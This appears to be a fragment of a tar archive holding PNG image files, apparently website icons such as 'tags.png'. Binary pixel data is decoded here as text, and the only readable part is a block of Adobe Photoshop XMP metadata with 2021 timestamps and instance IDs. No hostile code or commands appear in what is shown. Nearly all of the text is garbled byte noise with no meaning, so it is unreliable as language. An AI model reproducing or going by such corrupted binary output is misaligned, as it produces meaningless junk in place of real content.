�S	[��>Bx�̖ǍP�%S�<70�ZDj�d@��|+P8�`Y����Ҙ��H�v`���5@�^JDj�h��}�L�
�B�8p��-�bOJ�|�}6^@(�ZD�d@��V�~`9��ل�+�C�.3�ӣ�B�����ׁZD&HɀH�
[	�q�I@欇Ӓ��o��ɱb�V!����f�.����(��L���	ZX&)�YO�Tģ�K��X1v�–��x�xAP�
�F)iPaR���i0o�Bx�Y
4�_a1p0?�0���fS2
�$�-��`a�U�%!�c��3��"��z�������	PK�H�(i�e�����d�<u!$B���N�_-j=�:�&P
�*JDZ�0)0|LA$�
ü�ؙ!����9|��8Ѷ_������&0��4;@�����XqK�^�(L�W����$}䛁?��o�l��^��D#uf�c�%"�d@�M�^�F+�_i}�2���9��έfvWۂm�d����@;���a|`��C	�HJD"(�U��	���d`
a�U��kB��3�V?J[�B�������m�!s�.�M��{6�L&��O(	�GɀHD��.�S�R�c��Hr0%va�!����ɦ�S��f��1�����~����'��\�2��{���|�������)Օ0#�GL&vX�}�ԱBw��ˁ;˼e���^��{�8�x��~���
Fo�_�q6��@`-JD�LɀHJ��p���b�~�F�
xҐ�0���&���\ߐ��T¬��p�-�'*�����|1����I'%"��]�����6����/H��z�6�.?�����1����@����/ҹ��t�j��{%cJ�_�+)L��/ҽ��t1U��Z�L!""������8%"""=Nɀ��H�S2
""������8%"""=Nɀ��H�S2
""������8%"""=Nɀ��H�S2
""������8%"""=Nɀ��H�S2
""��b���!���D�d����!���D�-��c
""=%;�f�d�O����@���[�����A��H�Q���[����@DDzB�V�
������ASDD��c�Lݔ<|5v""��6�D�3��!D�in�;�:9`?�W�i&3몖����""�\���e�@^7&�Y"""���n�J���M088x�iu`M�
0-v""�qx��,04<���x�ͬj2�p	�4�5�
DDDz����d�1�w/G����H�
�����K�P�e�Z�-NDDD����:�|7��{���4S��se�8&s�qG"�WGC�d�p�"���8�
�"�?��;qpM�d�)|���t�%�)����g����V[
<%"��!ҝ��S����~�?���8��H�,�@��;q
�M�)i�+bP��b
"#�c������;�u�ү"n:�MTXH��;�;`lѡa��t���S������`f�W�2����4��cQ��(I�,��&x4R
"�<��/�i3/s��"��(�@��gƉED��;�n�G"�2	_�|ƞoD$~c�L֡?X�^�f��`a7�
pY��DDD��.#��[j�B���nO[��Z�Wb��������F�Z?�T2�>W��vD$"""m�$~��pc�d�d���+����%"""-6�_ӷ�(���@���K�������D�v/�`��RJ
��6
'"""��x�;��h2
"""��Z7����t9%"""=Nɀ��H�S2
""������8%"""=Nɀ��H�S2
""������8%"""=Nɀ��H����On�J%IEND�B`�assets/images/icons/tags.png000064400000053737151165724360012123
0ustar00�PNG


IHDR,^ɰ)	pHYs��
"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-03-08T10:31:22+03:30"
xmp:MetadataDate="2021-04-19T13:21:34+04:30"
xmp:ModifyDate="2021-04-19T13:21:34+04:30"
dc:format="image/png"
xmpMM:InstanceID="xmp.iid:506ff706-c966-f24a-8177-9c31a1b72336"
xmpMM:DocumentID="adobe:docid:photoshop:941cf290-e282-2246-9210-34f257ccb4f3"
xmpMM:OriginalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"
photoshop:ColorMode="3" tiff:Orientation="1"
tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="65535" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:9c2e6c2c-3107-b942-9911-dfc136b5d226"
stEvt:when="2021-03-08T10:31:22+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:c160889f-53c2-914e-93a2-1265e0eeda00"
stEvt:when="2021-03-14T17:57:35+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:a662ffae-ff50-6f46-aca2-0a1ff77ff89a"
stEvt:when="2021-04-19T13:21:34+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:506ff706-c966-f24a-8177-9c31a1b72336"
stEvt:when="2021-04-19T13:21:34+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:a662ffae-ff50-6f46-aca2-0a1ff77ff89a"
stRef:documentID="adobe:docid:photoshop:d526789f-ac79-cd4a-9a0d-16d02b8f7148"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>02BADA668A33CACE5D5C37ECF58E339A</rdf:li>
<rdf:li>1A38270A084735E599E742D9E28247A9</rdf:li>
<rdf:li>44255DDB773950C46F80D1450CF0DBDC</rdf:li>
<rdf:li>5C2EDD4900F484FECE3D7A155E1CC32F</rdf:li>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
<rdf:li>adobe:docid:photoshop:e6e905c0-be21-184e-9ded-ccdf32c966f9</rdf:li>
<rdf:li>xmp.did:0e81e14e-1626-5f4f-bc06-99053d67e78e</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>�JcIDATx���w��U���י���$�4)b�,���"5.*�D��&�[�]H�*�T�)��		���B���(�7Hf������N���Ny?�Uv��3'0��{�9��1�ZDDD�qE������Ka@DD��)���48���0
""��DDD�€��H�Sip
"""
�)�cL���/1���"""yl�a��Xk�Ƹ�U��#�0
""R�[�#��wP��g���
`60-쁈�H�{��)��km]������=�ہs���H��c<�����􍓀��D%�cX��
DD�nm�^yc�����O� 
""}k�Qi���=ic�]�D%�S�DD�!�a���%>�
DD�a|2�TR���w�=i(C�@%�K�O�a��DDD�€��H�Sip�~jaY6��N�EF醷�&�0B�0�����4*�����Y�O���<��+����_���t�€H�؜r��/����d���!"ҕ€HA�7����WR�q�qD
��RD�€�H��\�<��o�xÁ��/�Cu��n����?��/��4��`�uӉ���;�}�{�Ûifg����{�,l|Uѫ�w
p-�T7��
,�Ʒ��x�S�Y���<�����g�����Vu""u�&�A��
,��Au��a���A�Ʒa��/�����K5O	�H/�#���h�kҔ�-�U�jͳ�װ�x�?a�0�$�	�}5�2mN�Ɵ-�'l|�;�#0��V�DjX��>��
�x˝Y�Ox��m�\B�a��[zgL�_
g(,T|�������~R�Qu���g��S6����*?���0
R#��@�c�4�߄{����{w�.&]���CX’Ē�tۈb�XV�P@�˸͂=u0
س2��u�5���k����F�P�R��(�,�o��_��A6�����@���p���(�RPh�
��vhݎ}x�8��a��@��w�He=��A��
6^N������xO�^~+�����\�+.$|��[��	�ƽD�
|8�/S��6�/�w0�cl(
"UdiRX,p����~g��������W�_�
�f�-u��'�E�'Ƙo���ހ
�V`l�
�p.I:Ȟ}h��Q��>�x�R�|l��.�1^p08
ع��|�V��{��>�{-��Kx���0
��w�/a��Q�íɯǒ��E`?ώ�jk�?��4^�?K�1Q`_`
�I��0|�$	���D��F��
��׏`�ˋ|/	<<���	�Z�����`���l��n����+�8
Aa@$A8ǟT��>'���o����n��0��GZ>?$���Rc��q���I�7�$�;���A��B��o�d�/�a��q�wɹ�Q`
6��^0=ThYL�P�'m~H�B@7���L�>n�Wx�Z��H+�Z�7��G�aw��0
�!�p�\���4Q�@�J���?�z�y\���c�7`�'q���z0�]�n!<g�R�cAh�gb��
�����뚵�u\#�'�1�v^���|�	�ſ�	
Z�>��%����S�f��x�qa��P������5La@��d������00�Z{k8��Y�Ic̪-�
����B`F�������ĵ�
sF`pDH�]�D*li����7�w�p����(�����c��o�='�p)^��R((�%���~y6�܉��Z0��-?�E�
"��)���o�co��TS��e��<<f�Y�W%|ypI���}X��N��7��3�`�n�i�pl<�.�q3�
"��N�$.x��#q�����:�f����3a���C��N��x3��{�(��x�&6�j�>	�<L>����Il�
�)��xM~�b�og\�͙�z��#����3Hc�3���La�p!`ax��OƘ��B�����y�BA)���,��ז�S����{���%���[୸����*d�w�[`�O���;p������|�_�;`Nه+/�?�������,:��a�0�€t�9`��0�&�p).����1f�L�p�߿ŅLQ((�bl|Nɫ��_���ܾ�ׁ��������o��e�d���q���Qpa@�"��N�3�J���?ڬ�+���TN�f�A������M
��q�W��mг
��W��?�x_��K����^�A[D��N�vҙ%Ȝ8�Z;]A
�ڥ���g7÷,��ܙ$3�ͤ�q���Ox'�;���W��"�����L�?,h�k�0�&���I\���IX:��o�Y�N�,�4Ï��9�u�|w�r�"n[MwL��1(�5\�J���%���Hcp�2�q�q6`��Pλ+�g��G�1���A8��PЄE�Lh�T�J���g���
�-l|;�p-�෭.!�(�€Hm�3��f��V�hX�C~P{����
��J�?����A�7�U��y�t��x�kޫ��=\�����s״г�!9�o�H>�����
�W�-���6`oM�v���̴�nP���+
��߸�>�c�Gc���
�8�{w�VO�1q�ʸ�hV�"43
�[@�]�3Hf
�����R���c.��C�Y�!4���\6�(�06�r��&����U@[��	���y�g��5���;�'��<Fp���5���HDpA
�o�f�}�tk�+a�Mz�Z��1f�����ȓw�
��ؗ��/0w��u��n�3����7�����<��5-�.�P�lQ�
�w76�����pd�㒢�o�H>�A��O���6	*���缭����
�l0���W�ܪ�+�w�`�{1�m�t�"Oc����5
?7�k�?���7�dY㑒ԁu
ldAh"�@:�Z�h���>g����N�6\���!�������7k0����ہױ���o
���n�xQ�`���x�7o�!�-�-%�:��
�����(4����-���ƚ!��
�������m9ߏ�7�7�}�})���J�E�7��m<�;7!�>�{�o�	��CzDa@�����������/��7b�0�$�7N�½�+�|=�F�D�{D�����	��<����}�_�y�\��3���'
�x;�
���r�tn%)HC	fN$����}��υ=6�����c�0�d��q8�}+�k�g�	���$]KO��������0�V
D��s�V�!��]o��y��RA�&��Qd��K!MBd���1f��@~T�u�A�_�����g�x�[��%#w=���f��r�V�˸���^�p3$酺��@�
��0�Z{g���`���Z{40"��5���1^�o�ہ����N,tM9?�G���2����+
R��
����H�����b��t�A�']7�!��?��L�R���|
R��ƸQ�����.>���OcP9\�C��b(�0
u+{i�� 
ei�@���_��/�u̶;0���ʎ�6�$0��h�€ԭ]
w�������=��9��1�7���s�~�_·��g6��p�R��.-
�	~� p������
\�a5&ZE�?��>z������]�j��%��t�0
u'X�������������	�c�[�|���SE~�BЧ+#_/�܍�y��=�0_��G���xa��H�πԕ�Û��׭���k)�Z{�1�o��;ÙcHr
M���{�)����:
���0�6v���sM8㽕u�~t�i��κ�<�\]�Oa��`�ǁ#
^#eS���}�PV�a�5k�
c�7���C��s��D5n�Ƌ��
8��<������{��e�cV���K7�0P5�Jɕ]9���RI�ڍ@�&���sH2�6��-�����60#�i��-�:z!�<��9���:�K��u�Ƕ�Z�

w8=�6��_)��@Jh�e�R֣FD�0
5/��+�S��%��åQ�d�����:�
����@J�/�q�v\��^Ҟ�i�Q��l�r�ŽY���D�`����Gp�Ҹ�.���
½#H�b���~Q��������#�۵�	��{��}�x㸖���+x����z�?�`�}����ż��������3��U��a�X���P�f���L�D�,~�Z�L���!�
�Q��7�N����p7���0�&��//w�/$�	,r��À�Ƙ󬵿��j���fc̓���
��/q�?J|�?�R�51��C�%��Y�5�oD���1����wU�1��q�����b457�<��[0��455���v�	��hii��<����D"��i��ijj��������4/��"mmm�}���cb���3��Z��1�qx"��Uj
�J�T�)0��n�)\UC)�SCG��€Ԥ`�����Uj��1�#���u�cƌ�c���W�X��7�̶mn>�SNa�=�����������������r�r�A���g���}��=�aȐ!���F�D"��5�h�!C�d~���)s7�E�H$B$�w�J?��2j�(�<�L.\ڌ1�Z�W�j���Ic̯cƶ�$MS�v�P஢W��o�~QWc�ʸ�+t���R����O`S�	c���r�!\{�5|�#�t�ʕ+��~��m�?~<W_}5C��t͍7��}����)�s��?������ֲhѢ�u.4�0ov�N�Y�rA����v����_b��R:��~7s��?�E���8n��>�?�{	`&6~Y���wv���=0�C
R���	��֮��Þ����s�}�����Ǐ�c֯_Ϙ1c���|�ڵ|����g?���vZ��V=��ڰ�r�7D3Xk�c�{�����<����kl<Y��Nl�
�8x/.<��	w`��^��#����/O�p$�I���0�����A�8`��/���j�S�S��֟O2���L7֨}p-6{d3�AY�T���k��3*��X
|��[o���rͪU�1b[�l��7�d���]�Y�x1��~:�w��u}�;�3X�h���S9c~;��[�\U=�	�N�����i�)�ٻ�a���s�̡�[��{�BI�=��jc���W�H9�
!�<������?��<��Slٲ�I�&�
�>�.{�Zujkk��O�)m�1�+!)l��cH�t'�pB�A�B�
�I����
ݤ0 5�;�Z�dv
������l޼��C�|�-[�Ap������t�I�v��7Ɯ�Bc����&��*�k�6^O�MǽK��F�=����|�KQ�3
5!���9��/�=�t�Ő�ܵ�r�J�-[ƦM�H�R6�8���߿SB5Y�`�H$�T��{���c�0�̈́��Â����.��0ީ��OA��2�_��C&��{�WR�9�
�
��ꪫ���;y���G*�~��̜9�A���9�R[[@�7x����c/�;�5l<�3�l\He�8�{����(H���4xU�=0��C�*�M��pn)a��7��&ۊ+�:u*˗/w�6��?��C��Fٰa˗/g�ʕ,X��x����y�e���O�@�8�Q�?����C0�B�Lx?!�;��,
܄��`����-�{���)Hճ�Y��-}�4���/~��2��
�p�aÆ|�r�	�X���:��vۍu�ֱa�6n����3���q���?r�UWq���s���sꩧ2o^(�0�Sv�n��4����I�w����o0�Z�w����H�w&6^��a%Uz���i�T���	��h������̒IW�]h�a:�&�r͑K��?�쳙
0m�4��y-ZĻ�n��o�2eJ�Z��8��ù���w�KKK���/y�����?���|�+_w��u����Z��CpnA'���!㕾?o(�;�3]�@�������T�-��€T�&��DB܍����[(0$		W�\(0�:�,�<�L�ΝˠA�8��?>��o䡇��3MMM|����/�<��oW��9e��cN	yHa���Ц_���c�x�a�I��o8�{����e��
��e<�.��e�z�7���x�a�}0��w%ƫ���,���Z������1k�}�t1�X,V��pH&����;E�׮��'�`�}��K.�,q��Gs�n��^���/��"�:�(^}�U�񍾫ز��
�|ج"
��);��sR�
�
Yko���^���<�A]g7����kk|p兀\�pm���"=�?É�&�j�Χ*�
Ca@�Z����}�@^���?��Nu-֮]ބp�]O|��S�C�L��{�^~����ꫯv�~SSg�u�H�d�&*�66��D䏏��i�r:ީ��|������c���Km
8C0o;��������Ϭ�=�	��Q�%�Ά���g��;����F�r\
Ea@�R0+0�}��~(Sk��7�իWS�D"�i:Th�?��O~���;�r��|�_��_����}������^z���f���X�Ȫi�|-GI�@ӂ��pM�]�w��4s�'�p��*�,4L�B��Z���q�~�x;�Wt4�7��u��ʇ���0
U)���[k��
��w�XC��R�Ѝ>�'�Ɲ���[پ}{��>�`��}�'>�	�-[Vp��g��X�r-_>��n��]���]���>�Ȓ%X/F�D�gSa#-�ۊ{��sW±~����dD��M����)�0��éo
Ru���ݯΫ������(�4(�3P�F�
=N(p
Y
�-�����Y�Y�X��g�N�y��_f�Z&N
���+�f,g���Q��w�1�I����;�S��C�W���x��N��Q�'��SP~
0���lDuLa@�NN_��:�ς;���
Z��^>(�8Y��Mb��l���ň�XNˉ'b^�[�?g֬�y�̃�%�rf���p��[2���<���`�ݺ^����P}�w��|�+<[a��1�/q'	jy��tH��Ҝ����/n���{�8p`ޯ��.�?Fȿ��_��{�G��x뭷x���]r<�X��3-&b^{�ۏaV��e�d��B��a
,��4&��gXk7�\<f�ԕ�
\���{x�f�C�gpk��*
�
�����U�Ǎ����A�3
R����B�@����d�]}�	��(�T�`��G>���رcV&,]�p�ٴi��8���4��`c1̊g�ƌ�<�2k��<a����������
�c�
кx�B���W2X��2���L
U'�E�яO��

�
U$���^�BS�Æ
cܸq@�/��2�<�#F��{�=���o��1�����ה�Z������M�U��kh9�+����\2��C��^?yu[
���D��€T�`��z�7��'���cP�a"�����`�!oG��G}��_�:�e��q�Fƍ�����q�F���
�9�w������Ll�8�˕+Q4��፟@dɃ�YQ��DY{���k�+��&��")H���8�ߧ�m:Tι�T��M}�<G}4���ӦM˜�n=}�…|�;���D��/���+Wr�Au:àl�}�X�Ȋ�L�}���S�ڵ���yx�ߘ(��ɶ���M��܇`��p6��0
U!��0@�n%�/N�R���\�}:�.yM���7��^{�d�N>�d^x�.��.����L�2��Ý~f��՜r�),\��X,�Yw�6cH�]���ر��_����T�7�2~�%K��òA��>�T��/3)H���c~a��d[�r�@�J�J�$	���1�d�y�N�{�}��<�|�e��N;����:s�+���=������_�ʮ���<�^{��?%��yDV��y�Xx�fr�5ki?��[n!u�D�o�����
c.����ck�1#���~n@$R�€T��~�ܯQ(|���f�
5*wV
������z��N;-s^���y�������V��4:����/~�n�u-/G:(?�A
`֭�e���L��
�Ο?�T*��ŋw��-�T#��
Xb�V��ӡ�
8�[n���z���_��'��orܸ�x�	���=n7���ZƎ���^�����ux&��i1���&R`�`��D"-Z�.������~�jv@��€���4�
VOGXk����B��u�a�q�a�q�W��/fZ6����;�z�',�|�,_Fl�!�ڵ4O����[Ivx�����i�Z��1�Ixx�߀�tmߒ�)H�*_�c��Ѭ;nܸ��[ݼŠA��^tܣ��g?���|6c�W5]�4�ر��̸֭�7�-Qx�
�1Ѽ:[2H�{UH5P����j�?C��k|S�=p<�l�+�g`����\�CaJc3�ޤ��"d�[G��D^�!ȯ����N:	
�CP/e��^�Z*�j�0
�j#M+Ib�W�bkm���^��Q��@9��;�B5�3��,{�؉'ªҧ�7�~=����*کp���e���1��P�A��d�J%d
R6��h(�D�j�D"э0��i��6N��}��>�f
-��}���o�s����o6k�@��€�*M�a"�a4Q��@<'�N���``��}���¾�T�X�����B�ݮ����u4O�H���A��Ͷ������о�
�(�v���_\(�LPj���������)���\A�����G��kh>q����z^��c��F�޺�p���o@¦0
�	Zp�
���#�����
��>X�5}�`Ĉ.[�w���j'��M�|�+D�<�P|Sa=,Xk�.�I��
(H��q�M݅�@�}��{��v
���:d�?C˸1��Y����5�L��A�M�9{j���;�o@��€H���~g;BB�_܅�D_���@d�2b&ajhi��f--&yx������e����H�$4a7��B�#���8�W�R
�@X�J	����o�x��7�ˬ��<��@��[vX��j��Ma@Bc��u�
��.�0h���E*�J����Ȳg�M���2k��@t�E�,�c��_c��S
UAa@Bl��
\‘��<2}��NJܔ�j��h:���\C�q�`ժ>�Ь_O��I���A�ì@�Z�!�_��
�&B	�€�j���!�a"Gy$�h�>P|	
(?ln.\~���J�o1�2nBM���Y�����1K��<�����Z�T�x�	$d
"���zt'�UB�7�.�k�j�����L�D�%~
ȯ�����L�W$��thG`蛙�t�ìXF˘q�W�o�@)n�`��TXd�
��u���P¤0
�HS5������P��k��鐍ň._�7v\M6��~=ބ�D��p���%���2�/
�m��6�[�	�".t.@2���@�!�Ep�ӱf�rZƜ��k�,
�n͝f�Ι!��%�L[��
HH$-��0Ʊ��"P�s`�]�Xc��w
�ƕ>��	1uX>�Sf�ZZ&M"���+܇
�A5�Ly�JH$/aiq����ֆ=3��7�|�|��P��H�a��3�	��|��̚�4O����������!��*�L�K=�hf@B�0
���4W�
�D?�x��Ç
/x��u�'��ᅯټy3P�qQ��僱��AK����䓉<�
�}�fګp��s),��R�	�€�����tR�&^΍~�֭4�Cq僑g�Ll�x��^<Vc0�M�K�̦®����9�SbT������44�	�a�\�be��B_al�X�0
�*�oL�9ܨ������g�TS�ᛠ�B	�€�[Kf@�q�j�b7�r�)�XC:�y�Y�1c�|��̆
�L�H��J6&�:�p~����Ba@~Ӡ|���T*Y�5�o�`���u+M3f��1ġY�����.y�a
���sڡ�44�x�e�
^��^{𗿼X�|��ڃ�����#�Y�̬[K��DZB����j�C
��D�	୻G}4�#G���oΜN�kĈ\s͵��"����?'��u�i?�ȃ��n١:JCR��g�}�9�9��ƍ�\s衇2r�HV�Z�<�8��S�u�]��ۙ>}z�0R)"�jy�����Í
����!�F�0
��y�5j6����X,Ɯ9s�m�ݸ��;�<yr��s�=���Kijj��?�9g�5��'��4l	��R�1k׹M���!�);T
���0
Xk7���W�\ɱ�dž
:]����s�7��.�p���
'�|2�g�&��`���}���
��	��{{��.̚5�L��c��@��*.;�s
">k�X��˗3z��.K#F��&N���q�M�Ɯ9s0�����Yg�U��A��؟E:E^����<����=�,UHCP�~g���;��8�`��c���#G�x��̒��I]g�O��O~��`A��N�8�8찡��H�5kh3���A���9�
��p#��R���q��V��?Cp衇�p��̆�B3�g�.o��#�9��.�FE�,ҙY���q�<�0�+ܘ(gS����)�䑵d�+V0z�1lڴ��5#G�dѢEY3��<Ό3�;wnf��p
��� y��$/�����]K�'�O;4����A
ԎX£0 R@�@����>:��E���;
.̙3'
����Y���ٰ��SNq�(���!�z�0
R����!5*����7ޘY2�<�kߚ�ӧ3{��L����IL:Mr�l�^X�?��`֬�e�D">���=y[[_��W<��P�€H	���	+5jt���
�*��\2�={6�h�믿��A2	�4�g�����$ì]K�	D|[�u�u�]��d�=RW$l{�=�rt�!X�1y�=�P/^�Y2��'e�%�$��T�Ĭ9�!�cf�zZN>	�j9�:gA�[����_
�}Xk��(_���W�\Q��
��qG�*��M���M2I$mIΜ�=}̼�o�gςHc
�Z�	�<ܨ��H�S�~wN%�W�*��tG�Cr�F�ѩ�`��3s���QvX�A2���m*�@K})r��j�榢���yƘqx�gc�
���,!ЫNB�7��۰�R�c�r�.\��;J�E�Sab��>d6l$��!R��b{{;'�t�N��Ƙ����_J`ٻP�d�>�0
��
C���Y�E��@0��G]�A�d�y�zn���U):��!y�����o+��p�q�����>����<	U��(H(�bI��]፤�%��c+W��ۇ��C�iLԵA��0�2()L*(;T
��׭�qkkf�˨^<�Ҹ�"aP�P�`�%�Hz�/;��F�U��yO;�
�-�rK�*����`-��p�}�	���x��Z�hf@B�0
�����~
O��D���TX^��R$�찒҇B���$<�8Gd��^��s��W
��0
m
�ۇ`��Ѭ_���5���?�(���0�"�����<����|��|�Ϯ�B	�€���05%�qTBV
�ӊ+8��c.�(;��<�8�kI̚E�"��Fǜ���p8&�ѭ�kkk���^<}�0�	H�$S�0�&����S�1{�=�J���d�!ȭ2躩�k�����;�!(֘Ȥ!9S��{�@�嗑<�\"	���?�kmm巿�-���_��鍉cX.'���$4)
����6�
����>��=�P.\��TX�S�9sv4&*��
�&9k������H�{юl7�Z[[��/	�|�Z��e�}��܀�Ia@B�����M�kP�i�G=�D��33f��Ժ�h��S�Ai��f�<�<"�t��qN�f���#�b�"��>�Uv�iL���
�TX�찼>	L:Mǜ9Z2(&����I^�
�	�4u���
p}/G�̓R$4A)��y��pG�7���e�#G��Tv8yr�����C�HI�H͞KJ}��F��I�u��6�*���ԩS���
�7�S���&�	�D�Gq�k�dc�na��/�3e��@𛂛
K�!0�*�T��-t��q�夾�mF Y��������
��q�eQ�ԯc	�^}��U�a����+;,އ
��F�}f�ThRi�f�R 
qɏI�}$��I��xi9Kӭ�*1c�G�˶{h���La@B����@�An��q%��2�#���C�7&J[⍾��:��2�G�T�A`ڴi�3�Z|\
�X��	��
��/��R��:���D�O�W�Ȼ�
�A�㏋����l��D��sI�}&�
mSe���V~�_����n��y���:\3R%$Tg�Z����&c>���ZV���⍉
�!�>��P 0A���Y$i�
b��'$�?�H�`�ܥ�S>X��1-��RX.#J�~K��
����o�=።���!(Ԙ�T�`���>iw�a���+�
u�D::�u�@�>
�}��=hn@��€���-*W��D�A��O�ڇ
%��I"���TX�e��(sf�<��
���}
i�_ �8 U@a@Bw� � ��R�_{C�:���
lذ��5��?���gf͚UV
����Y^P���":.�	�/"��A:]��@�(�a���D
UB�B�
-���S፤�u�T��c�=�K
�-;�4����3J�!L"���̭�*�h���KH��u�~�N�`���/)��6`o�
H�P����9
33��X��˗q�1��
�-�A���>��dRI����H���撼�/�F�i(T�>E�*)��0
U�_*x���
���s�q��ř����̙SF�A
��$g�&uam�v\r	�s���,X~��#��K����ID�Ca@��~�a�R��Mx�@0�`���yg��Dw�yG���*��},3g���=CǕW��Fp�P�r���i�r7���Ƙ	����I��j�(U#X*�

�
�A���c�)XvX�uqw�����ګ2���|�HG�P�<ӦM�m(�3�;�iIL�*(H�.��

�2�|(�1��/;C�����`��ř�D���2�4&�=�6��U�s�#�p{�l(4u���
��3Ƙ��HЬ�T���$v�c]�bX����W�\Q��0{�`��}�;�8�4�YsHU��Ž+.'y�D	��q�`_��go�m�ѐT��JC��(—Uv���CpL�Í��Ƿ�-;�>}zY}L2�I�H̞[�U�(���f5*�@��~��2jn�@�x���5)U%X*��>��1fD�#
���
�fF�U���y�2�1cs��)ه�d�I�s�V�YƝ5���7�͂导�P>؉�:��V`M��_�Re􊔪di����yɠt�A���);$��d����$/��@1t\�#��|ݝ>�.�`N��Y��4��penk�w
Ru�ف-;N2��������?�pe��D�N;,�ARi��
��0��+H}��D�	H%{��eg�B���-X�
H�ҫR�V�L"������(;\�pa�i���t�Ar��!5&�t&���!ґ��dٝ��#P@�
��Y�Z)HU
f�iՑƘS�Q��jLT��#G�l]���g��߲�H�5��nw��#��UƘ���h��T7�2�j�po�Zܧ�Ȓ��`T��;nTxA9�b-���I]�?3����9_'��A�A
O�P���u�q"�P���J��hr��A�;�Y��Ǐ��?�-;�?.և
8ܨ��Di:f���Ǒ�_F�������tO
5c��$Ь�T?�:��E��h�@!ف`�ʕ���S�E����?ˠ�>$��d�O�?��\��GS7��N���Y0��[��	A$<
RՂ�q��H������:�k��#GvZ2�Wv8cƌN3��]c��ٕ
��^J���$�C�ʓ3#���1�3���ib�~�J��+TjB
�(�/;�<�b��K�T�tʝep�y��C���I}�o(��^��R���@"�
R��فM;�|&�1U#�
Svx��v�C0r���e�yf�O�ީ��g����L2�I�IΞK����;~�#Rg���H�N���@X�Ƙ���7a5+
5C�R��̙�BH�.;\�|9�G����;�̿d�!0����^�uq:Mbf�":���Է��)�a�j	Qౝ��H7)HM�ѕpgWnc�Q����%�|���Շ�Z�f�:���4�c�Lg�����gʯ��#z���Rk�J��3���cƘ/�9�jֹu�U;�o/Xv8w�ܲ��V47�q��$/���x���Y3S�d���q��8DzBa@jFve�0m&,���D�:�1�ŋg����%
9k6�k�����H�߯IM?�HG��M�t��4k�����:C�N�Rc����15]	��bOx3��J��F�i$�^�>�1�}�-�!��?��{/Æ
�t�ҥK�<y2k׮��_�27�|s�ǹ��k���I�R�~���?�����`V���̪�0o�Cz�p�~���2�q���7u�Ԡ|0U1#�R�'����`��l�2�DO~�8���	��VajMiZIí�GYkuPU��p��s�=]�#�<��'�̚5k�җ�į~��.���/��t:]<`���u�#
n���0ٽ�Y3q\�`���s8��@\�,u�-
.�+5'X.؎z�+���c��{���|U��
���$����1۷�m�m�a��������:� 
5M�Z�IA
��z�h��d�c�v�O;\ΨQ���}�`„��A{J�vbzԓ7O����,�݌U���W�Ԭn�y���ic���O-�*;||�ʕyg��D��;w�uW�>%;�B5��f������A�:)H�
N5����v^g��^:ɪ2xb��ey�G��
7ܐՇ�t�‚U=P�}�Oм~�_=�Y�uz�JM�F,;�������`A��Q]�G����|���@P���V�Ҁ�u�����������R��c>�j����|�!�]21bDY���O;�M
��jF2�FnnR�:�W�ԅM�=;�O_0Ƽ+���
��`�A���*��1Q�%�Y�f�>���j�,��'Zp�6��^�V(H]��~��,U�����G�>&o
X�xqf�
���3f�贇�;�`�ԩU�Y2�^���	H��+Y�F�vŜ|�3:�qՂ��2e�6l�tM�Í����C�CVg�8ջ4p�;�9_A@�^�RWZ�p#Ml��.��o� <�7re��W��tMPv��.�mL�݇�X
hmm�պ4p0w(�̭�4B�OzEK���ͪ0���<�k����_~�u����+�����1���;���?�m���o��ڵky��X�re��v&N��#�<¿��o�z�-�.]�ĉk�j�ug8j��(H����l�zuiN#I��Tu�1fw�Z\�a!Kq=�(������\�o�\kmד���1��R�F'(��M��&h
{"}e3���$<a�Q
(����~c�p��S�p`�,pp�p
p�1`��p���1ċ�k�����[k����c�k��H����gבf:I��c)�~+h�@��̀N-�0�?��Q��'��1"y)H#�+\��
R&iTz�KC(�cƅ:0�
Ƙ1ƘP��
��0\��&ZI�a[c�?��yxc��p�G���ݨ
 �Fa@J�I2s�l�1�u�-�4��p�0����J�AA@�€4���l3M�!�P�I�'c>f��K�Ó~�]��``��h��
